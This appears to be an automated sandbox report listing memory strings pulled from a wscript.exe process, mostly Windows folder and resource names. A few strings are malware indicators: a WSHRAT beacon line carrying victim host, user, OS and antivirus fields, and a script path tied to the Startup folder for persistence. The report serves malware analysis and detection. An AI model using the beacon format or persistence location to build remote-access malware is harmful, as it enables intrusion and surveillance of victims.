Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\system	memstr_fa6f65bd-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: local documents	memstr_6f0f480f-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\infx	memstr_322f817d-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\system32r	memstr_89464030-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: appdata	memstr_9bf9d6aa-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: appdata@	memstr_0335eeb4-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: roaming	memstr_b705bc3a-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: roaming@	memstr_f273f912-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 1gzct	memstr_75a2d5f8-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: programs	memstr_5b661359-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: programsj	memstr_43ba20b7-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: programs@shell32.dll,-21782	memstr_8be1cdcd-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .appdata	memstr_6916cce1-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .roaming	memstr_3c40116a-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft	memstr_9c2680a1-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoftd	memstr_cf447fd9-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .microsoft	memstr_5b813959-c
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: windows	memstr_85e875a8-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: windows@	memstr_0b0823a7-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .windows	memstr_ce8160c9-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: libraries	memstr_9eb0a25e-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: librariesd	memstr_c4058106-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .libraries	memstr_6f23731d-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: localizedresourcename@%systemroot%\system32\shell32.dll,-21796	memstr_01ea2abf-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iconresource%systemroot%\system32\imageres.dll,-115	memstr_cb393ffb-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iconindex-173	memstr_48793b24-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (<pdx	memstr_1f0cf620-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: localizedresourcename@%systemroot%\system32\shell32.dll,-21798	memstr_73bd2d10-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iconresource%systemroot%\system32\imageres.dll,-184	memstr_7fb9cfc7-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: desktop@	memstr_37fb69a7-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .desktop	memstr_9a81bb85-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @ @!@"@#@$@%@&@'@(@)@*@+@,@-@.@/@0@1@2@3@4@5@6@7@8@9@:@;@<@=@>@?@@@a@b@c@d@e@f@g@h@t	memstr_8554a43b-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 303h3d3	memstr_e71ae684-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 34,4p4t4	memstr_5917ff3b-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 5(5p5x5	memstr_e54cf1f7-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6,6p6p6	memstr_68d42808-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 7,7p7t7	memstr_f7708a6c-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 8l8\|8	memstr_81c34f65-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9<9`9	memstr_a9732ecf-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :0:t:\|:	memstr_b1052c32-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;<;x;t;	memstr_2e13512a-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;< <<<d<c	memstr_d58c0c6d-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: music	memstr_b46b5599-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: music<	memstr_7b859837-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .music	memstr_9069e2cb-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: `m>@p'	memstr_5ea94929-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: wv8 p	memstr_c94793e7-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: localizedresourcename@%systemroot%\system32\shell32.dll,-21769	memstr_c9839074-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iconresource%systemroot%\system32\imageres.dll,-183	memstr_9aeb2cea-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: videos	memstr_6fd2608c-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: videos>	memstr_dcba7809-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .videos	memstr_868a8238-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @%systemroot%\system32\shell32.dll,-12688	memstr_bd86ca0b-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\downloads\desktop.ini	memstr_fac96c9e-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @%systemroot%\system32\shell32.dll,-21770	memstr_103c7fcf-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %systemroot%\system32\imageres.dll,-1040	memstr_0ff7cda0-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %systemroot%\system32\imageres.dll,-115	memstr_417bf1f6-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ::{59031a47-3f72-44a7-89c5-5595fe6b30ee}	memstr_d78bb776-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (wf(wf@j	memstr_afa9ea89-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @%systemroot%\system32\shell32.dll,-21779\	memstr_48605a94-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %systemroot%\system32\imageres.dll,-108v	memstr_bc0df140-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @%systemroot%\system32\shell32.dll,-12690p	memstr_83906a2a-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %systemroot%\system32\imageres.dll,-189j	memstr_6bf2dd9c-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @%systemroot%\system32\shell32.dll,-21787d	memstr_04219558-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @%systemroot%\system32\shell32.dll,-21786~	memstr_16a3b261-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %systemroot%\system32\imageres.dll,-117x	memstr_0fd9a8ed-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @%systemroot%\system32\shell32.dll,-21790r	memstr_36448816-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @%systemroot%\system32\shell32.dll,-12689l	memstr_62a920e1-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @%systemroot%\system32\shell32.dll,-21796f	memstr_531f8e33-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @%systemroot%\system32\shell32.dll,-21798`	memstr_433e1027-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\favorites\desktop.ini9d}	memstr_0823105c-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @%systemroot%\system32\shell32.dll,-21787	memstr_088862c4-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @%systemroot%\system32\shell32.dll,-21782	memstr_a3fae154-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @%systemroot%\system32\shell32.dll,-21791	memstr_38e111f9-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %systemroot%\system32\imageres.dll,-113<	memstr_835e3f62-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\system32\windows.storage.dlll6	memstr_38077846-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %systemroot%\system32\imageres.dll,-1840	memstr_e5154f64-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %systemroot%\system32\imageres.dll,-112*	memstr_c95fd866-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @%systemroot%\system32\shell32.dll,-21797$	memstr_52896fb7-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\system32\windows.storage.dlll	memstr_1251e128-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @%systemroot%\system32\shell32.dll,-21769	memstr_12fd815a-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ::{20d04fe0-3aea-1069-a2d8-08002b30309d}	memstr_cd3682f8-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\programdata\microsoft\desktop.ini	memstr_7080a596-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %systemroot%\system32\imageres.dll,-112	memstr_8a5f680c-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\fonts\desktop.ini	memstr_fcb1de64-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %systemroot%\system32\imageres.dll,-183	memstr_8fddd0af-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\documents\desktop.ini	memstr_309e4a43-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /c:\`1	memstr_e81943d6-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: progra~3	memstr_b327e7e0-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: progra~3h	memstr_efb49f23-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: zit.g	memstr_70d0a037-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: programdata	memstr_4109e854-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: micros~1	memstr_97539244-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: micros~1d	memstr_ad9ccf89-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: zpt.h	memstr_7283f296-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: windows	memstr_11472f4d-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: windows@	memstr_768ddff9-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: startm~1	memstr_023a0b78-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: startm~1n	memstr_8bc509c4-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: start menu@shell32.dll,-21786	memstr_d32c563c-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: localizedresourcename@%systemroot%\system32\shell32.dll,-21770	memstr_56c47151-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iconresource%systemroot%\system32\imageres.dll,-112	memstr_0eb969ab-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iconindex-235	memstr_3230f77d-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: wshrat\|b81a4609\|user-pc\|user\|microsoft windows 10 pro\|plus\|windows defender .\|false - 15/4/2025\|javascript	memstr_98d81c5d-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /c:\v1gzct	memstr_ebf9b771-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: zlt.3	memstr_ff79cb6a-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fonts	memstr_2e16dabe-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fonts<	memstr_dff0030d-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lfonts	memstr_023a7607-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \rr:\users\user\appdata\local\temp\adobe.jsindows\start menu\programs\startuptop.inih	memstr_9d1d27fa-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 693405117-2476756634-100	memstr_8bf3dd70-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: localizedresourcename@%systemroot%\system32\shell32.dll,-21786	memstr_81055f27-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: shell:::{20d04fe0-3aea-1069-a2d8-08002b30309d}\::{088e3905-0323-4b02-9826-5d99428e115f}(	memstr_219231e0-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: shell:::{20d04fe0-3aea-1069-a2d8-08002b30309d}\::{a8cdff1c-4878-43be-b5fd-f8091c1c60d0}	memstr_180f60c9-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: shell:::{20d04fe0-3aea-1069-a2d8-08002b30309d}\::{24ad3ad4-a569-4530-98e1-ab02f9417aa8}	memstr_070c9e8c-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup	memstr_3b9f2f41-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: shell:::{20d04fe0-3aea-1069-a2d8-08002b30309d}\::{3dfdf296-dbec-4fb4-81d1-6a3438bcf4de}t	memstr_3ddc8eac-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: localizedresourcename@%systemroot%\system32\shell32.dll,-21787	memstr_752a1871-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bc:\users\user\appdata\local\temprosoft\windows\start menu\programs\startup	memstr_2988ce7b-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: shell:::{20d04fe0-3aea-1069-a2d8-08002b30309d}\::{f86fa3ab-70d2-4fc7-9c99-fcbf05467f3a}	memstr_4b6b0b1f-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: documents	memstr_fb5d381b-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: documentsd	memstr_9ce71190-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .documents	memstr_0fb05c83-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: localizedresourcename@%systemroot%\system32\shell32.dll,-21779	memstr_90fa509e-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: infotip@%systemroot%\system32\shell32.dll,-12688	memstr_2305e772-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iconresource%systemroot%\system32\imageres.dll,-113	memstr_9cab8740-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iconindex-236	memstr_163f284a-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: startup	memstr_5c0fb67c-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: favorites	memstr_fbd694bb-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: programs	memstr_ff7a79ab-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: onedrive	memstr_a655b54f-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: printhood=	memstr_314fa740-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: documents;	memstr_aac83bf5-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \lder5	memstr_046fff16-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ,xrs1	memstr_f9509005-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: folder/	memstr_3e7d3458-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ,xfolder-	memstr_48032729-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: downloads+	memstr_41001e31-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fonts)	memstr_e6784564-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \lder'	memstr_b7d38d33-c
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pictures#	memstr_64aea4a8-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: folder!	memstr_f78e87a5-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: templates	memstr_eca07533-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: startup	memstr_66c1804b-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ,xfolder	memstr_4a627817-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: personal	memstr_760a0706-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: jsolder	memstr_a7dc87cc-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sendto	memstr_5ecfef9b-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: start menu	memstr_1ec926d7-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: nethood	memstr_d7ee5a05-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: folder	memstr_2b19a881-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: recent	memstr_a679896d-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: pictures	memstr_4e97b279-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: picturesb	memstr_23ed45b2-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .pictures	memstr_fd29badd-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: localizedresourcename@%systemroot%\system32\shell32.dll,-21791	memstr_e3de57c9-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: infotip@%systemroot%\system32\shell32.dll,-12690	memstr_6b1a2449-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iconresource%systemroot%\system32\imageres.dll,-189	memstr_684d3ff6-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iconindex-238	memstr_3fe97e9e-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mycomputerfolderh	memstr_7b3fb7b5-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: common programsg	memstr_c295070d-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: local downloadsb	memstr_778fd297-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: local videos	memstr_b2915066-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: local pictures	memstr_17c25866-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\fonts	memstr_a77e0e13-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: shell file system foldera	memstr_57b50736-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: shell file system folder	memstr_b69a88cf-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\users\user1796	memstr_a6f0ca26-c
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: !("h"	memstr_2a700622-7
